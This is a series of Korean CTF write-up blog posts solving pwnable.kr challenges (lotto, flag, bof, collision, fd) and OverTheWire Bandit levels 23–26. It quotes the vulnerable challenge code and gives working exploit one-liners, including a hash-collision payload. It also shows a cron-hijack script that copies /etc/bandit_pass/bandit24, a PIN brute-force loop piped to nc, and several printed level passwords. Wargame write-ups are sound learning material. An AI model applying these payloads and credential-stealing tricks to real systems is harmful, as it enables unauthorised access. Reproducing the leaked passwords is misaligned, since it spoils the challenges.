728x90

Mommy! I made a lotto program for my homework. do you want to play?

misc같은 문제를 풀고싶어서 lotto 를 지금푼다. 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}

 

코드에 논리적 오류가 있는게, 보통 lotto는 6개를 다 맞아야 1등하는데 위 코드대로면 1개만 맞아도 6개가 다 맞는것처럼 인식한다.

또한 입력을 char로 받아서 확률은 더 높아진다. 

sorry mom... I FORGOT to check duplicate numbers... :(

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] passcode  (0) 2020.10.08
[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
728x90

Papa brought me a packed present! let's open it.

그냥 우분투로 파일을 확인해보니, 

elf인데 실행이 안되는것 보니 뭔 작업을 해야할것 같다.

 

윈도우에서 ida로 까보면, 

함수 3개중에 1개만 열려서 어떻게 할까 하다가 string을 뒤져보니 upx가 보였다.

우분투에서 언팩한 다음 다시 윈도우로 넘겨주었다.

 

이제 아주 잘 열린다.

flag가 바이너리 파일 안에 있다고 했으므로, 조금 뒤져보면 나온다.

UPX...? sounds like a delivery service :)

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
[pwnable.kr] fd  (0) 2020.09.22
728x90

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

주어진 c코드다.  main에서 func로 전달한 인자, overflowme의 값을 바꿔주면 된다.

우리는 입력을 overflowme에 할 수 있고, 비교를 하는건 key이므로 overflowme와 key사이의 거리를 찾으면 된다.

이렇게 gdb로 찾아도 되고 

ida로 확인해봐도 된다.

거리는 52바이트이므로 dummy 52byte + 4byte(cafebabe)


daddy, I just pwned a buFFer :)

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
[pwnable.kr] fd  (0) 2020.09.22
728x90

Daddy told me about cool MD5 hash collision today.

col.c파일을 열어보면, 

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

 

 

그냥 글자수 끼워맞추기 문제인것같다. 

21DD09EC >> 6C5CEC8*5

                   >>6C5CEC8*4  + 6C5CECC

 

페이로드 >

./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`

daddy! I just managed to create a hash collision :)

 

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] fd  (0) 2020.09.22
728x90

Mommy! what is a file descriptor in Linux?

 

ssh 로 접속한다.  비번은 guest

권한을 보면 flag는 내 권한으론 읽을 수 없고, fd.c파일은 소유자가 root이지만 권한이 열려있어서 내가 읽을 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

 

 

atoi함수는 문자열을 정수로 바꿔준다.
그럼 우리가 입력한 값(ascii)이 정수로 바뀌고, -0x1234(4660_dec)연산을 한 값이 fd에 들어간다.

read함수의 인자는  read (int fd, void *buf, size_t nbytes)이다. 

(여기서  fd는 파일 디스크립터, *buf는 버퍼, size는 크기이다.)

fd값은 0, 1 이 가능하고, 나머지는 에러로 처리한다. (0은  input, 1은 output)

그러면 fd는 0이 되어야 하므로 argv[1]엔 4660(0x1234_hex)를 입력하면 된다. 그리고 버퍼엔 LETMEWIN\n 이라는 문자열을 넣어주면 된다.

 

페이로드를 작성하면, 

./fd `python -c 'print "4660"'`
LETMEWIN

 

mommy! I think I know what a file descriptor is!!

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
728x90

 

 

쉘이 다르다고 한다. /etc/passwd에서 알아보면, 

 

정상이 아닌것 같긴 하다.

보아하니 , 

more이라는 명령어가 뭔지 몰랐는데 

화면 작게만들면 표시가 안나서 로딩중? 이라는 의미인것 같다 

이거 말하는거임

여기서 vi로 들어가서 :로 명령어 r /etc/bandit_pass/bandit26을 입력하면 

 

 

 

 

짜잔 마법입니다   

 

아마 위에서 로딩된 text.txt파일의 소유자가 bandit26이고, 그 파일을 실행중이니깐 접근 권한이 생긴것 같다.

5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z

728x90

'etc > bandit' 카테고리의 다른 글

[Bandit] Level 24 ~> Level 25  (0) 2020.09.22
[Bandit] Level 23 ~> Level 24  (0) 2020.09.22
[Bandit] Level 22 ~> Level 23  (0) 2020.09.22
[Bandit] Level 21 ~> Level 22  (0) 2020.09.22
[Bandit] Level 20 ~> Level 21  (0) 2020.09.22
728x90

무차별 대입을 하면 되고, 코드는 간단하게 작성할 수 있다. 

#!/bin/bash
for i in {0000..9999}
do 
	echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done

 

sh파일 결과를 txt로 저장하고, 이 txt를 nc에 넣어주면 된다. 

'

 

uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

728x90

'etc > bandit' 카테고리의 다른 글

[Bandit] Level 25 ~> Level 26  (0) 2020.09.22
[Bandit] Level 23 ~> Level 24  (0) 2020.09.22
[Bandit] Level 22 ~> Level 23  (0) 2020.09.22
[Bandit] Level 21 ~> Level 22  (0) 2020.09.22
[Bandit] Level 20 ~> Level 21  (0) 2020.09.22
728x90

쉘 스크립트를 작성해야한다니, 어려워 보이지만 사실 리눅스 명령어를 몇개 나열하면 된다.

 

cron에서 sh파일 찾는건 전이랑 같으므로 생략한다. 

#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

 

 

전부 실행시키고 지워버린다. 

그럼 해당 경로에 bandit_pass/bandit24파일을 따로 복사해놓으면 된다. 

#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/b/eing

 

이 쉘을 넣어주면 풀릴듯

아 그리고 이 쉘은 위에 코드를 보면 알수 있듯이 /var/spool/$myname(bandit24) 에 있는 모든 코드를 실행시키므로, 여기에 넣어준다. 

 

 

여러 삽질을 했는데, 

우선 내가 만들 파일에 권한을 줘야한다. (666)

그 다음, tmp에서 만든 sh파일을 복사해주고, 기다리면 키가 나온다. 

 

 

UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

728x90

'etc > bandit' 카테고리의 다른 글

[Bandit] Level 25 ~> Level 26  (0) 2020.09.22
[Bandit] Level 24 ~> Level 25  (0) 2020.09.22
[Bandit] Level 22 ~> Level 23  (0) 2020.09.22
[Bandit] Level 21 ~> Level 22  (0) 2020.09.22
[Bandit] Level 20 ~> Level 21  (0) 2020.09.22

+ Recent posts